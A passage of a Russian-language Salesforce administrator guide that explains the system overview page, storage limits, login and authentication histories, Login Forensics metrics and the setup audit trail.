приложения»

Прим.: Страницаобщихсведенийосистемесодержиттолькоэлементы, поддержка
которых включена в организации. Например, бизнес-правила отображаются на
странице общих сведений о системе только в том случае, если в организации
включена их поддержка.

Страницаобщихсведенийосистемесодержитданныеобиспользованиииограничения,
установленныедляорганизации, а такжеотображает сообщенияв случаеиспользования
доступныхкомпонентовна 95% (ролейпорталана 75%). Чтобыпросмотретьподробные
данные об использовании, щелкните числа для нужного показателя. Чтобы увеличить
текущие ограничения, воспользуйтесь системой Checkout (если доступно). Например,
при достиженииограничения по количеству настраиваемых объектов страница общих
сведений о системе отображает ссылку на сообщение. Чтобы удалить неиспользуемые
объекты, щелкните данную ссылку. Чтобы увеличить максимально допустимое
количество объектов, посетите Checkout.

Чтобы перейти на страницу общих сведений о системе, введите строку «Общие сведения
о системе» вполе «Быстрый поиск» вменю «Настройка», затемвыберитепункт«Общие
сведения о системе».

Ниже перечислены разделы страницы общих сведений о системе.

• Схема

• Использование API

• Бизнес-логика

• Интерфейс пользователя

• Самые используемые лицензии

• Роли портала

Прим.: Ограничения в процентах отображаются усеченными, а не округленными. Например, если организация
использует ограничение для отдельной настройки на 95,55%, то отображается 95%.

Общие сведения о системе: схема

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме Personal
Edition.

Ниже перечислены компоненты, сведения об использовании которых отображаются в
разделе «Схема» страницы общих сведений о системе.

• Настраиваемые объекты

Прим.: Обратимоудаленныенастраиваемыеобъектыиихданныеучитываются
ограничениями. Рекомендуем удалять ненужные настраиваемые объекты без
возможности восстановления.

• Хранилище данных
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Общие сведения о системе: использование API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Раздел «Использование API» страницы общих сведений о системе содержит данные об
использовании запросов API в течение последних 24 часов.

Ограничение распространяется на все вызовы API, выполненные в течение 24 часов
организацией, а не отдельным пользователем. В случае превышения максимально
допустимого ограничения, для всех пользователей организации временно блокируется
возможность выполнения дополнительных вызовов. Вызовы будут доступны только
после того, как их количество за предыдущие 24 часа не будет превышать действующее
ограничение.

Общие сведения о системе: бизнес-логика

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Ниже перечислены компоненты, сведения об использовании которых отображаются в
разделе «Бизнес-логика» страницы общих сведений о системе.

• Правила

• Триггеры Apex

• Классы Apex

• Использованный код: общее количество символов, использованных в триггерах
Apex и классах Apex (кроме комментариев, методов теста и аннотированных классов
@isTest).

Общие сведения о системе: интерфейс пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме Personal
Edition и Database.com
Edition.

Ниже перечислены компоненты, сведения об использовании которых отображаются в
разделе «Интерфейс пользователя» страницы общих сведений о системе.

• Настраиваемые приложения

• Сайты Site.com: только опубликованные сайты Site.com.

• Активные сайты Force.com

• Потоки: только активные потоки.

• Настраиваемые вкладки

• Страницы Visualforce

1097

Знакомство со страницей общих сведений о системеНастройка и обслуживание организации Salesforce



Общие сведения о системе: самые используемые лицензии

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме Personal
Edition.

Раздел «Самыеиспользуемыелицензии» страницыобщихсведенийосистемеохватывает
только активные лицензии и по умолчанию отображает три лицензии, используемые
ворганизациибольшевсего. Данныйразделтакжеотображаетлюбыелицензии, которые
использованына 95%. Чтобыпросмотретьвседоступныелицензии, щелкните«Показать
все».

Общие сведения о системе: роли портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Раздел «Роли портала» страницы общих сведений о системе содержит данные об
использовании и ограничения для общего количества ролей партнерского портала,
клиентскогопорталаисообществ. Прииспользованиипредоставленныхролейпортала
на 75% страница общих сведений о системе отображает соответствующее сообщение.

Прим.: Максимальное количество ролей портала для организации составляет
5 000. Данное ограничение охватывает роли портала, связанные со всеми
клиентскимипорталами, партнерскимипорталамиилисообществамиорганизации.
Чтобыизбежатьненужногоувеличенияданногоколичества, рекомендуемрегулярно
проверятьисокращатьколичестворолейдлякаждогопорталаисообщества. Кроме
того, рекомендуем удалять неиспользуемые роли портала. Чтобы увеличить
количество ролей портала, обратитесь в службу поддержки Salesforce.

Контроль ресурсов хранилища

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
использования хранилища:
• «Управление

внутренними
пользователями»

И

«Управление
пользователями»

Ограничения и параметры использования хранилища организации в системе Salesforce
можно просмотреть на странице «Использование хранилища» в меню «Настройка».

Элементы, требующие наличия хранилища
Хранилище состоит из двух областей: хранилищефайлов и хранилище данных.
Хранилищефайловсодержитфайлы, доступныевовложениях, навкладках «Документы»
и «Файлы», в поле «Файл», а также в Salesforce CRM Content, файлах Chatter (включая
фотографии пользователей) и активах Site.com. Хранилище данных содержит:

• Организации

• Типы статей (формат: “[Имя типа статьи]”)

• Переводы типов статей (формат: “[Имя типа статьи] версия”)

• Кампании

• Участники кампании

• Обращения

• Группы, работающие с обращениями

• Контакты

• Контракты
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• Настраиваемые объекты

• Сообщения эл. почты

• События

• Элементы прогноза

• Документы Google

• Идеи

• Интересы

• Примечания

• Возможности

• Доли возможности

• Заказы

• Сметы

• Обогащенный текст шаблона сметы

• Решения

• Теги: уникальные теги

• Задачи

Емкость хранилища
В версиях Contact Manager, Group Edition, Professional Edition, Enterprise Edition, Performance Edition и Unlimited Edition емкость
хранилищафайловопределяетсяпутемумноженияограничения, предоставляемогодляодногопользователя, наколичество
пользователейорганизацииидобавлениядополнительногоограничения, предоставляемогодляорганизации. Например,
организации Professional Edition, содержащей 10 пользователей, предоставляется хранилищефайлов объемом 11 Гб, то
есть 100 Мб каждому из 10 пользователей, а также дополнительные 10 Гб. Организации Professional Edition, содержащей
100 пользователей, предоставляется хранилищефайлов объемом 20 Гб, то есть 100 Мб каждому из 100 пользователей, а
также дополнительные 10 Гб.

В версиях Contact Manager, Group Edition, Professional Edition, Enterprise Edition, Performance Edition и Unlimited Edition емкость
хранилища данных составляет 1 Гб или определяется путем умножения ограничения, предоставляемого для одного
пользователя, на количество пользователей организации (в зависимости от того, какая величина больше). Например,
организации Professional Edition, содержащей 10 пользователей, предоставляется хранилище данных объемом 1 Гб, так
как общий объем, равный 200 Мб (10 пользователей по 20 Мб), не превышает 1 Гб. Организации Professional Edition,
содержащей 100 пользователей, предоставляется хранилищеданныхобъемомболее 1 Гб, так какобщийобъемсоставляет
2 000 Мб (100 пользователей по 20 Мб).

Значения в столбце «Распределение хранилища на лицензию пользователя» ниже применяются к лицензиям Salesforce
и Salesforce Platform.

Распределение
хранилища файлов
на лицензию
пользователя

Распределение
хранилища файлов
на организацию

Распределение
хранилища данных
на лицензию
пользователя

Минимальное
хранилище данных
на организацию

Версия Salesforce

612 Мб11 Гб20 Мб1 ГбContact Manager

612 Мб11 Гб20 Мб1 ГбGroup Edition

612 Мб11 Гб20 Мб1 ГбProfessional Edition
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Распределение
хранилища файлов
на лицензию
пользователя

Распределение
хранилища файлов
на организацию

Распределение
хранилища данных
на лицензию
пользователя

Минимальное
хранилище данных
на организацию

Версия Salesforce

2 Гб11 Гб20 Мб1 ГбEnterprise Edition

2 Гб11 Гб120 Мб1 ГбPerformance Edition

2 Гб11 Гб120 Мб1 ГбUnlimited Edition

—20 Мб—5 МбDeveloper Edition

—20 Мб—20 Мб (примерно
10 000 записей)

Personal Edition

Еслиорганизацияиспользуетнастраиваемыелицензиипользователя, обратитесьв компаниюSalesforceдляопределения
лицензий, поддерживающих дополнительное хранилище. Описание лицензий пользователя см. в разделе «Общие
сведения о лицензиях пользователя».

Просмотр использования хранилища
Чтобы просматривать текущий объем использования хранилища, введите «Использование хранилища» в поле «Быстрый
поиск», затем выберите «Использование хранилища». Данная страница отображает доступный объем хранилища
данных и хранилищафайлов, объем используемого хранилища на каждый тип записи, имена пользователей с
наибольшимипоказателямииспользованияифайлыпоубываниюразмера. Чтобыпросмотреть типыданныхотдельного
пользователя, щелкните его имя.

Всеверсии, кроме Personal Edition, позволяютадминистраторампросматриватьиспользованиехранилищапопользователям.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

2. Щелкните имя любого пользователя.

3. Чтобы просмотреть использование хранилища по типу записи для отдельного пользователя, щелкните ссылку
«Просмотр»напротивполя «Использованное пространство данных» или «Использованное пространство файлов».

Объем хранилища вычисляется асинхронно, поэтому при импорте или добавлении большого количества записей или
файлов сведения об использовании хранилища организации обновляются позже.

Отдельные пользователи могут просматривать использование хранилища на странице личных сведений.

Увеличение хранилища
Чтобывоспользоватьсядополнительнымхранилищем, рекомендуемувеличитьтекущееограничениепообъемухранилища
или сократить использование хранилища.

• Приобретитедополнительноехранилищеилидобавьтелицензиипользователя в версиях Professional Edition, Enterprise
Edition, Unlimited Edition и Performance Edition.

• Удалите устаревшие интересы или контакты.

• Удалите любые ненужные вложения.

• Удалите файлы в приложении Salesforce CRM Content.
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Рекомендации по хранилищу
Ниже перечислены рекомендации по планированию объема хранилища.

• Организации-лица учитываются в хранилище организаций и контактов, так как каждая организация-лицо состоит
из одной организации и одного контакта.

• Архивные действия учитываются хранилищем.

• Активные и архивные продукты, прайс-листы, записи прайс-листа и активы не учитываются хранилищем.

Отслеживание журнала входов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Developer
Edition, Enterprise Edition,
Group Edition,
Performance Edition,
Professional Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отслеживания входов:
• «Управление

пользователями»

Администраторымогутотслеживатьвсепопыткивходадляорганизацииивключенных
порталов или сообществ. Страница «Журнал входов» отображает последние 20 000
попыток. Чтобы просмотреть дополнительные записи, загрузите сведения в виде CSV-
или GZIP-файла.

Загрузка журнала входов
При необходимости загрузите CSV- или GZIP-файл, содержащий входы пользователей
в организацию Salesforce за последние шесть месяцев.

1. Введите строку «Журнал входов» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Журнал входов».

2. Выберите формат файла для загрузки.

• «CSV-файл Excel»: загрузка CSV-файла, содержащего все входы пользователей в
организацию Salesforce за последние шесть месяцев. Данный отчет охватывает
входы, выполненные посредством интерфейса API.

• «Архивный CSV-файл Excel»: загрузка CSV-файла, содержащего все входы
пользователей в организацию Salesforce за последние шесть месяцев. Данный
отчет охватывает входы, выполненные посредством интерфейса API. Сжатие
файла позволяет значительно сократить время его загрузки.

3. Выберите содержимое файла. Значение «Все входы» охватывает входы посредством API.

4. Нажмите кнопку «Загрузить!».

Прим.: Устаревшие версии приложения Microsoft Excel не поддерживают файлы, содержащие более 65 536 строк.
Дополнительную информацию об открытии большого файла в приложении Excel см. в статье Центра справки и
поддержки Microsoft об обработке больших файлов.

Создание списковых представлений
Принеобходимостисоздайтесписковыепредставления, отсортированныеповременивходаи URL-адресувхода. Например,
создайте представление всех входов, выполненных за определенный интервал времени. Подобно стандартному
представлению, настраиваемое представление отображает последние 20 000 входов.

1. Щелкните ссылку «Создать новое представление» на странице «Журнал входов».

2. Введите имя, которое должно отображаться в раскрывающемся списке «Просмотр».

3. Определите критерии фильтрации.
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4. Выберите нужные поля.

Разрешается выбиратьнеболее 15 полей. Представлениеможет содержать только теполя, которыедоступнывмакете
страницы. Поля типа «Область текста» отображают не более 255 символов.

Прим.: Ввидуособенностей геолокационнойтехнологии, точностьполей геолокации (например, страна, город,
почтовый индекс) может изменяться.

Просмотр журнала входов
При необходимости просмотрите личный журнал входов.

1. Введитестроку «Журнал входов» вполе «Быстрый поиск» настраницеличныхпараметровивыберитепункт«Журнал
входов». Нет результатов? Введите строку «Личные сведения» в поле «Быстрый поиск» и выберите пункт «Личные
сведения».

2. Чтобы загрузить CSV-файл журнала входов за последние шесть месяцев, щелкните ссылку «Загрузить...».

Прим.: Из соображений безопасности, экспорт данных из организации Salesforce может быть выполнен только
после проверки подлинности пользователя CAPTCHA. Эта элементарная проверка на основе ввода текста позволяет
предотвратитьдоступвредоносныхпрограммкданныморганизации. Чтобыпройтипроверку, пользователидолжны
правильноввестидва слова в специальноетекстовоеполеобластиналожения. Обратитевнимание, чтословадолжны
быть разделены пробелом.

Единая регистрация посредством SAML
Если организация использует сертификаты поставщика удостоверений единой регистрации SAML, то журнал входов
также отображает входы, выполненные посредством единой регистрации.

Мой домен
Прииспользованиифункции «Мойдомен» системапозволяетопределятьпользователей, выполняющихвходпосредством
нового URL-адреса, и время входа. Введите строку «Журнал входов» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Журнал входов» и просмотрите столбцы «Пользователь» и «URL-адрес входа».

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Журнал проверки подлинности
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Журнал проверки подлинности

ВЕРСИИ

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Администраторможет использовать журнал проверки подлинности для отслеживания
и ревизии попыток проверки подлинности пользователей в организации за последние
шесть месяцев. Например, предположим, что двухфакторная проверка подлинности
включена во время входапользователя в систему. После успешноговводапользователем
контролируемого по времени разового пароля для доказательства подлинности эти
сведения записываются в журнал проверки подлинности.

Чтобы открыть журнал проверки подлинности, введите строку «Журнал проверки» в
поле «Быстрый поиск» меню «Настройка», затем выберите пункт «Журналпроверки
подлинности». Чтобы просмотреть дополнительную информацию, например
примерное географическое положение в момент проверки, создайте настраиваемое
представление и добавьте нужные столбцы.

Поля проверки подлинности
По умолчанию отображаются следующие поля.

ОписаниеПоле

Время попытки проверки подлинности. Часовой пояс —
среднее время по Гринвичу (GMT).

Время

Код попытки проверки. Проверка может включать
несколько попыток и использовать различные методы

Попытка проверки

проверки. Например, на сеансе пользователь вводит
неверный код проверки (первая попытка). Затем
пользователь вводитправильныйкодиуспешнопроходит
проверку подлинности (вторая попытка). Обе попытки
являютсячастьюоднойпроверкии, следовательно, имеют
один и тот же код.

Имя пользователя, который запрашивает проверку
подлинности.

Имя пользователя

Текст, которыйпользовательвидитнаэкранеиливSalesforce
Authenticator при попытке проверить подлинность.

Сообщение о действии

Например, еслипроверкаподлинноститребуетсядлявхода
пользователя, отображается сообщение «Попытка входа с
систему Salesforce». В этом случае сообщение о действии
будет следующим: «Вход в систему Salesforce». Исключение
— еслидействиемпользователябудет «Действие, заданное
Apex». В этом случае сообщение о действии может быть
настраиваемым описанием, переданным методом Apex.
Если пользователь проверяет подлинность с помощью
приложения Salesforce Authenticator версии 2 или более
поздней, в приложении отобразится настраиваемое
описаниеижурналпроверок. Еслинастраиваемоеописание
не задано, вжурналепроверокотобразитсяназваниеметода
Apex.
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ОписаниеПоле

Прим.: Еслипользовательпытаетсяполучитьдоступ
к связанному приложению, а это приложение было
переименовано или удалено после попытки
проверки, в этом поле будет отображаться исходное
название связанного приложения.

Политика или параметр безопасности проверки
подлинности.

Инициировано

• Метод Apex — проверка подлинности выполнена по
методу проверки Apex.

• Активация устройства — проверка подлинности,
необходимая для входов пользователей с
нераспознанногоустройстваилинового IP-адреса. Такая
проверка является частью проверки подлинности
Salesforce, основанной на оценке риска.

• Требуется высоконадежный сеанс — для доступа к
источнику требуется высоконадежный сеанс. Такая
проверка инициируется, когда пользователь пытается
получить доступ к ресурсу, например подключенному
приложению, отчету или панели мониторинга,
которому требуется уровень высоконадежного сеанса.

• Политика на уровне сеансов профиля — уровень
безопасности сеанса, необходимый для входа. Эта
проверка инициируется параметром «При входе
требуется уровень безопасности сеанса» в профиле
пользователя.

• Требуется двухфакторная проверка подлинности —
при входе требуется двухфакторная проверка
подлинности. Эта проверка инициируется
полномочиемпользователя «Двухфакторная проверка
подлинности для входов посредством
пользовательского интерфейса», назначенным
настраиваемому профилю. Или полномочие
пользователявходитвнаборполномочий, назначенный
пользователю.

Метод, с помощью которого пользователь пытается
проверить подлинность в событии проверки.

Метод

• Сообщение эл. почты — Salesforce отправляет
сообщение эл. почты с кодом проверки по адресу,
указанному в учетной записи пользователя.

• Разовый пароль — приложение средства проверки
подлинности генерирует контролируемыйповремени
разовый пароль (TOTP) на мобильном устройстве
пользователя.
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ОписаниеПоле

• Средство проверки подлинности Salesforce
Authenticator — Salesforce Authenticator отправляет
уведомление на мобильное устройство пользователя
для проверки активности учетной записи.

• Текстовое сообщение — Salesforce отправляет
сообщениес кодомпроверкинамобильноеустройство
пользователя.

Статус попытки проверки подлинности.Статус

• Доступ запрещен — пользователь отклонил запрос на
утверждение в приложении средства проверки
подлинности, например Salesforce Authenticator.

• Доступ запрещен: отмечено пользователем —
пользователь отклонил запрос на утверждение в
приложениисредствапроверкиподлинности, например
Salesforce Authenticator, а также отметил запрос на
утверждение для отчета перед администратором.

• Ошибка: общего характера — ошибка, вызванная
чем-нибудь другим, отличным от неверного кода
проверки, слишком большого количества попыток
проверки или подключением приложения средства
проверки подлинности.

• Ошибка: неверный код проверки — пользователь
предоставил неверный код проверки.

• Ошибка: исправимая — Salesforce не может обратиться
к приложению средства проверки подлинности для
осуществления проверки, но выполнит повторную
попытку.

• Ошибка: слишком много попыток — пользователь
пытался проверить подлинность слишком много раз.
Например, пользователь неоднократно вводил
неверный код проверки.

• Успешное выполнение — подлинность пользователя
была проверена.

• Успешное выполнение: автоматизированный ответ —
Salesforce Authenticator одобрил запрос на доступ,
поскольку он поступилиз доверенного расположения.
После включения служб расположения в Salesforce
Authenticator пользователимогут указывать доверенные
места. При наличии доверия к расположению для
конкретногодействия, напримервходасраспознанного
устройства, это действие утверждается с доверенного
расположения, пока местоположение остается
доверенным.
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ОписаниеПоле

• Запрашиваемый пользователь: ожидание ответа —
Salesforce предлагает пользователю проверить
подлинность и ожидает ответа пользователя или
отправки автоматизированного ответа средством
Salesforce Authenticator.

Время попытки входа, в часовом поясе GMT.Время входа

IP-адрес компьютера, с которого пользователь выполняет
действие, для которого требуется проверка подлинности.

IP-адрес источника

Например, IP-адрес компьютера, с которого пользователь
пытается выполнить вход или получить доступ к отчетам.
Если это не действие входа, для которого требуется
проверка, IP-адрес может отличаться от адреса входа
пользователя в систему. Этоможетбыть адрес IPv4 или IPv6.

Страна фактического местонахождения IP-адреса
пользователя. Данное значение не локализуется. Ввиду

Расположение

особенностейгеолокационнойтехнологии, точностьполей
геолокации (например, страна, город, почтовый индекс)
может изменяться.

Можно отобразить следующие поля путем создания настраиваемого представления. В описании IP-адрес — это адрес
компьютера, с которого пользователь выполняет действие, требующее проверки подлинности. Ввиду особенностей
геолокационнойтехнологии, точностьполей геолокации (например, страна, город, почтовыйиндекс) можетизменяться.

ОписаниеПоле

Город фактического местонахождения IP-адреса
пользователя. Данное значение не локализуется.

Город

Имя и ссылка на связанное приложение, к которому
пользователь пытался получить доступ. Если связанное

Связанное приложение

приложение было переименовано с момента попытки
проверки пользователя, будет отображаться новое имя.
Если связанное приложение было удалено с момента
попытки проверки пользователя, будет отображаться
«Недоступно».

Страна фактического местонахождения IP-адреса
пользователя. Данное значение не локализуется.

Страна

Код ISO 3166 для страныфактического местонахождения
IP-адресапользователя. Дополнительнуюинформациюсм.
на странице «Коды стран — ISO 3166».

CountryIso

Широта фактического местонахождения IP-адреса
пользователя.

Широта
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ОписаниеПоле

Тип входа, например приложение, OAuth или SAML.Тип входа

Долгота фактического местонахождения IP-адреса
пользователя.

Долгота

Почтовыйиндексфактическогоместонахождения IP-адреса
пользователя. Данное значение не локализуется.

Почтовый индекс

Имя подразделения фактического местонахождения
IP-адреса пользователя. В США это значение обычно

Подразделение

соответствует названиюштата (например, Пенсильвания).
Данное значение не локализуется.

Действие пользователя, для которого требуется проверка
подлинности.

Действия пользователя

• Доступкподключенномуприложению — пользователь
пытался получить доступ к подключенному
приложению.

• Доступ к отчетам — пользователь пытался получить
доступ к отчетам или панелям мониторинга.

• Действие, заданное Apex — пользователь пытался
получитьдоступкресурсу Salesforce спомощьюметода
проверки Apex.

• Экспорт и печать отчетов — пользователь пытался
экспортировать или распечатать отчеты или панели
мониторинга.

• Вход в Salesforce — пользователь пытался войти в
систему.

СМ. ТАКЖЕ:

Отслеживание журнала входов

Отслеживание входа в систему при помощи инструментов отслеживания
входа

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Средстваотслеживаниявходапомогаютадминистраторамлучшеопределять, поведение
какого пользователя является допустимым. Это необходимо для того, чтобы
предотвратить подлог удостоверений в Salesforce.

Подлог удостоверений — одно из наиболее опасных действий для компаний. С учетом
количества входов в организацию в течение дня или даже часа специалистам может
быть трудно определить, нарушена ли безопасность учетной записи того или иного
пользователя.

Средстваотслеживаниявходапомогаютраспознатьподозрительныедействияпривходе.
Они предоставляют данные для доступа ключевого пользователя, в том числе:
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• Среднее количество входов конкретного пользователя в течение указанного временного периода

• Кто входил в систему больше раз, чем составляет среднее значение

• Кто вошел во время, отличное от рабочего

• Кто вошел с подозрительного диапазона IP-адресов

Перед использованием этой функции необходимо ознакомиться с некоторой базовой терминологией.

Событие
Событие — этолюбоедействие, произошедшеев Salesforce, в томчислещелчкипользователей, изменениясостояния
записей и замеры различных значений. События нельзя скрыть, при этом каждое из них имеет временную отметку.

Событие входа
Отдельныйэкземплярсобытиявходапользователя ворганизацию. Событиявходапохожинажурналвхода в Salesforce.
Однако вы можете добавить сведения заголовка HTTP в события входа, что сделает их расширяемыми.

Журнал входов
Журнал входов, который могут получить администраторы путем загрузки информации в файл .cvs и .gzip.
Журнал доступен через меню «Настройка» и через API. Эти данные имеют ограничения, связанные с индексацией и
журналом.

Показатели
В контексте отслеживания событий входа метрики представляют собой сборку событий входа за заданный период
времени. Используйте метрики для определения атипичного поведения в пределах организации.

Администраторы могут отслеживать события при помощи двух объектов API: LoginEvent и PlatformEventMetrics. Для
отслеживания событийвходаотсутствуетпользовательскийинтерфейс. Используйте Force.com IDE, Workbench илидругие
средства разработки для взаимодействия с этой функцией.

Прим.: Сведения входа недоступны для реализаций, используемых правительственными организациями.

Рекомендации по использованию Login Forensics

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Перед началом использования Login Forensics ознакомьтесь с некоторыми
рекомендациями.

• Эта функция действует только в API-интерфейсе. В пользовательском интерфейсе
нельзя просматривать события или показатели.

• События входа сохраняются по умолчанию в течение 14 дней.

• Показатели сохраняются по умолчанию в течение 90 дней.

• Поскольку Login Forensics использует технологию асинхронной очередизации
наподобие вызовов @future в Apex, данные входа в систему могут быть отложены
при запросе.

Включение Login Forensics

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Login
Forensics
• «Изменение всех

данных»

Выполнитебыструюоднократнуюустановкуэтойфункциидлясбораданныхособытиях
входа в организации.

Включить Login Forensics можно на странице «Настройка отслеживания событий» в
области «Настройка».
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Показатели в Login Forensics

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Аналитические исследования зачастую начинаются со сбора событий входа в систему,
а показатели представляют собой сводные агрегации событий входа в динамике по
времени.

Login Forensics может осуществлять:

• подсчет;

• подсчет с последующей агрегацией.

Каждый последовательный показатель содержит:

• запрос, использующий агрегатные функции;

• ежечасный интервал выборки;

• частотно-временные рамки, например с 01.01.2015 12:00 по 01.01.2015 01:00.

Спомощьюэтих сведенийможнообнаружить аномалии, просмотрев сводныеданныеи сделавболее детальные запросы
длявыполнениядополнительныхисследований. Всепоказателигенерируютсяодинразвчас. Доступкнимосуществляется
с помощью объекта PlatformEventMetrics.

В следующем примере общее число входов в систему равняется четырем, но агрегированное количество входов,
выполненных каждым пользователем, отличается. Пользователь, код которого заканчивается на «122», входил в систему
один раз, тогда как другой пользователь — три раза.

Код пользователяВремя входа

00500000000012212:00

00500000000012312:15

00500000000012312:31

00500000000012312:47

В таблице представлены собранные показатели в промежуток времени 12:00–01:00.

ЗначениеЗначение поля агрегацииИмя поля агрегацииТип показателя

4NullNullNumLogins

1005000000000122UserIdNumLoginsByUser

3005000000000123UserIdNumLoginsByUser
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Отслеживание журнала обучения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра журнала
обучения:
• «Управление

пользователями»

Чтобы проверить посещаемость занятий по эффективной работе с системой Salesforce,
администратор организации может воспользоваться журналом обучения. Журнал
занятий содержит все занятия Salesforce, пройденные пользователями.

Администраторымогутпросмотретьжурналзанятийвнастройках, дляэтогонеобходимо
ввестистроку «Журнал занятий» вполе «Быстрый поиск», затемвыбратьпункт«Журнал
занятий». Чтобы зарегистрировать свое посещение в журнале обучения, пользователь
должен заполнить интерактивнуюформу отзыва, доступную по завершении занятия.

Прим.: Если данная ссылка не отображается в разделе «Управление
пользователями», следовательно, организацияиспользуетновуюсистему. Отчеты
пообучениюнавкладке «Моиобращения» портала «Справкаиобучение» доступны
только администратору данного портала. Чтобы получить доступ, обратитесь в
компанию Salesforce.

Отслеживание изменений в настройке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
контрольного журнала:
• «Просмотр настройки и

конфигурации»

Контрольный журнал настройки позволяет отслеживать последние изменения в
настройкеорганизации, внесенныетекущимпользователемидругимиадминистраторами.
Журнал аудита особенно полезен организациям с несколькими администраторами.

Чтобыпросмотретьжурнал аудитанастройки, вразделе «Настройка» введите «Просмотр
контрольного журнала настройки» в поле «Быстрый поиск», затем выберите«Просмотр
контрольногожурнала настройки». Чтобы загрузить полный журнал настройки
организации за последние 180 дней, щелкните ссылку «Загрузить».

Контрольный журнал настройки отображает последние 20 изменений, внесенных в
настройку организации. Журнал содержит дату, тип и автора изменения. Кроме того,
еслипредставитель (например, администраторилисотрудникслужбыподдержки) меняет
настройкиотимениконечногопользователя, тостолбец «Делегированныйпользователь»
содержит имя данного представителя. Например, если пользователь предоставляет
полномочия входа администратору, которыйизменяетнастройки, то столбец содержит
имя данного администратора.

Нижеперечисленытипыизменений, отслеживаемыевконтрольномжурналенастройки.

Отслеживаемые измененияНастройка

Администрирование • Изменения сведений о компании, стандартных параметров
(например, языка и региона) и сообщений компании

• Изменения параметров мультивалюты
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Отслеживаемые измененияНастройка

• Изменения пользователя, пользователя портала, роли, профиля и набора полномочий

• Изменения адресов эл. почты всех пользователей

• Удаление вложений эл. почты, отправленных в виде ссылок

• Создание, редактирование или удаление нижних колонтитулов сообщений эл. почты

• Изменения типов записей, включая созданиеилипереименование типов записейиназначение
типов записей профилям

• Изменения подразделений, включая создание и редактирование подразделений, перенос
подразделений и изменение стандартного подразделения пользователей

• Добавление или удаление сертификатов

• Изменения имени домена

• Включение или выключение системы Salesforce в качестве поставщика удостоверений

Настройка • Изменения параметров пользовательского интерфейса (например, свертываемых разделов,
области быстрого создания, всплывающих сведений или всплывающих ссылок связанного
списка)

• Изменения макетов страниц, макетов действий и макетов поиска

• Изменения компактных макетов

• Изменения меню навигации Salesforce1

• Изменения посредством встроенного редактирования

• Изменения настраиваемых полей и параметров безопасности поля, включая изменения в
формулах, значения раскрывающегося списка и атрибуты настраиваемых полей (например,
формат полей автонумерации, управление или маскирование зашифрованных полей)

• Изменения параметров интересов, правил назначения интересов и очередей интересов

• Изменения параметров действий

• Измененияпараметровподдержки, часовработы, правилназначенияирасширенияобращений,
а также очередей обращений

• Любые изменения, выполненные службой поддержки Salesforce по запросу пользователя

• Изменения имен вкладок, включая восстановление исходных имен вкладок

• Изменениянастраиваемыхприложений (включаяприложенияконсоли Salesforce), настраиваемых
объектов и настраиваемых вкладок

• Изменения параметров контрактов

• Изменения параметров прогнозов

• Включение или отключение функции Email-to-Case или On-Demand Email-to-Case

• Изменения настраиваемых кнопок, ссылок и элементов S-Control, включая переопределение
стандартных кнопок

• Включение или отключение функции планирования с помощью перетаскивания

• Включение, отключение или настройка похожих возможностей

• Включение или отключение смет

• Изменения категорий данных, групп категорий данных и назначений группы категорий для
объектов
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Отслеживаемые измененияНастройка

• Изменения типов статей

• Изменения групп категорий и категорий

• Изменения параметров Salesforce Knowledge

• Изменения параметров идей

• Изменения параметров ответов

• Изменения функции отслеживания полей в лентах

• Изменения параметров влияния кампании

• Активация или деактивация критических обновлений

• Включение или отключение электронных уведомлений Chatter

• Включение или отключение параметров создания пользователя Chatter для приглашений и
доменов эл. почты

• Изменения правил проверки

Безопасность и
общий доступ

• Общедоступные группы, изменения правил общего доступа и единыйобщий доступ, включая
параметр «Предоставить доступ с использованием иерархий»

• Изменения политики паролей

• Сбросы паролей

• Изменения параметров сеанса (например, изменение параметра завершения сеанса)

• Изменения делегированных групп управления и элементов, доступных делегированных
администраторамдля управления. Кроме того, отслеживаютсяизменениянастроек, внесенные
делегированными администраторами.

• Количествозаписей, удаленныхпользователемизсобственнойкорзиныикорзиныорганизации

• Изменения параметров конфигурации SAML

• Изменения сертификатов Salesforce

• Включение или отключение поставщиков удостоверений

• Изменения именованных регистрационных данных

• Изменения поставщиков услуг

